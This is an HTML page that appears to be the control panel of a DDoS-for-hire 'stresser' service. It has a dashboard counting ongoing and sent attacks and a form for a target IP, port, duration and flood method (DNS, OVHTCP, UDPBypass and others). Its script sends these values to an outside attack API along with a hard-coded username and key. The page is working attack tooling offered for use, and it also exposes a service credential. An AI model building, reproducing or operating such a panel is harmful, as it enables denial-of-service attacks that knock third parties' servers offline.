<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Dashboard</title><style>body{font-family:Arial,sans-serif;margin:0;padding:0;background-color:#121212;display:flex;height:100vh}.dashboard-container,.hub-container{display:flex;flex-direction:column;width:100%;height:100%}.dashboard-header{display:flex;justify-content:space-between;padding:20px;background-color:#1e1e2f;color:#fff;box-shadow:0 4px 10px rgba(0,0,0,.5)}.dashboard-header h1{margin:0}.dashboard-main{display:flex;padding:20px;justify-content:space-between;gap:20px}.panel{background-color:#1e1e2f;padding:20px;border-radius:10px;box-shadow:0 4px 10px rgba(0,0,0,.5);color:#fff;flex:1}.panel h2{margin-top:0}.panel .value{font-size:24px;font-weight:bold}.sidebar{background-color:#1e1e2f;width:250px;padding:20px;box-sizing:border-box;position:relative;z-index:1}.sidebar h2{color:#fff;text-align:center;margin-bottom:30px}.sidebar ul{list-style-type:none;padding:0}.sidebar li{margin-bottom:20px;font-size:18px}.sidebar li a{color:#fff;text-decoration:none;padding:10px;border-radius:5px;display:block;text-align:center;background-color:#2a2a3f;transition:background-color .3s}.sidebar li a:hover{background-color:#4CAF50}.sidebar .logo{position:absolute;top:10px;left:50%;transform:translateX(-50%);font-size:24px;color:#fff;text-align:center}.hub-container{display:none;flex-direction:column;gap:20px;margin:20px}.hub-panel{background-color:#1e1e2f;padding:20px;border-radius:10px;box-shadow:0 4px 10px rgba(0,0,0,.5)}.form-group{margin-bottom:15px;display:flex;flex-direction:column}.form-group label{color:#fff;font-weight:bold;margin-bottom:5px}.form-group input,.form-group select{width:50%;padding:6px;background-color:#333;border:1px solid#444;border-radius:5px;color:#fff;margin:0 auto;box-sizing:border-box}.form-group input:focus,.form-group select:focus{outline:none;border-color:#4CAF50}.overlay-panel{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background-color:rgba(0,0,0,.7);z-index:100;align-items:center;justify-content:center}.overlay-panel .panel{width:400px;background-color:#2a2a3f}.logout-button{background-color:#e53935;color:white;padding:10px;border-radius:5px;border:none;cursor:pointer;margin-top:10px}.logout-button:hover{background-color:#d32f2f}.send-attack-button{background-color:#4CAF50;color:white;padding:10px;border-radius:5px;border:none;cursor:pointer;width:100%;margin-top:15px;font-size:18px}.send-attack-button:hover{background-color:#45a049}</style></head><body><div class="sidebar"><div class="logo">🚀 Hub</div><h2>Options</h2><ul><li><a href="javascript:void(0);" onclick="lD()">Dashboard</a></li><li><a href="javascript:void(0);" onclick="lH()">Go to Hub</a></li><li><button class="logout-button" id="lB" onclick="lG()">Logout</button></li></ul></div><div class="dashboard-container" id="dC"><div class="dashboard-header"><h1>Server Dashboard</h1><p>Welcome, <span id="uN">Loading...</span></p></div><div class="dashboard-main"><div class="panel"><h2>Servers</h2><p class="value">7</p></div><div class="panel"><h2>User Logged In</h2><p class="value" id="uL">Loading...</p></div><div class="panel"><h2>Ongoing Attacks</h2><p class="value" id="oA">0</p></div><div class="panel"><h2>User Total Sent Attacks</h2><p class="value" id="tA">0</p></div></div></div><div class="hub-container" id="hP"><div class="hub-panel"><form id="aF"><div class="form-group"><label for="h">Target IP</label><input type="text" id="h" name="h" placeholder="Enter IP address" required></div><div class="form-group"><label for="p">Port</label><input type="number" id="p" name="p" placeholder="Enter Port" required></div><div class="form-group"><label for="t">Time (seconds)</label><input type="number" id="t" name="t" placeholder="Enter Time" required></div><div class="form-group"><label for="m">Method</label><select id="m" name="m"><option value="dns">DNS</option><option value="game-mix">Game-Mix</option><option value="ovhtcp">OVHTCP</option><option value="udpbypass">UDPBypass</option><option value="tcpbypass">TCPBypass</option></select></div><button type="button" class="send-attack-button" onclick="sA()">Send Attack</button></form></div></div><div class="overlay-panel" id="oP"><div class="panel"><h3>Attack Launched!</h3><p>The attack has been initiated successfully.</p><button onclick="cO()">Close</button></div></div><script>const uN="User123";document.getElementById('uN').textContent=uN;document.getElementById('uL').textContent=uN;let oA=0,tA=0;function sA(){const h=document.getElementById('h').value,p=document.getElementById('p').value,t=document.getElementById('t').value,m=document.getElementById('m').value,url=`https://hydroapi.xyz/api/attack?username=abstractapi&key=334524&host=${h}&port=${p}&time=${t}&method=${m}`;fetch(url).then(e=>e.json()).then(d=>{d.success?alert('Attack initiated successfully'):alert('Error in initiating attack')}).catch(e=>{console.error('Error:',e)});oA++;tA++;document.getElementById('oA').textContent=oA;document.getElementById('tA').textContent=tA;document.getElementById('oP').style.display='flex';setTimeout(()=>{oA--;document.getElementById('oA').textContent=oA},t*1000)}function cO(){document.getElementById('oP').style.display='none'}function lH(){document.getElementById('hP').style.display='flex';document.getElementById('dC').style.display='none';fLB()}function lD(){document.getElementById('hP').style.display='none';document.getElementById('dC').style.display='block';fLB()}function lG(){alert('Logout Successful!');fLB()}function fLB(){document.getElementById('lB').style.display='none'}setTimeout(()=>{fLB()},10000);</script></body></html>
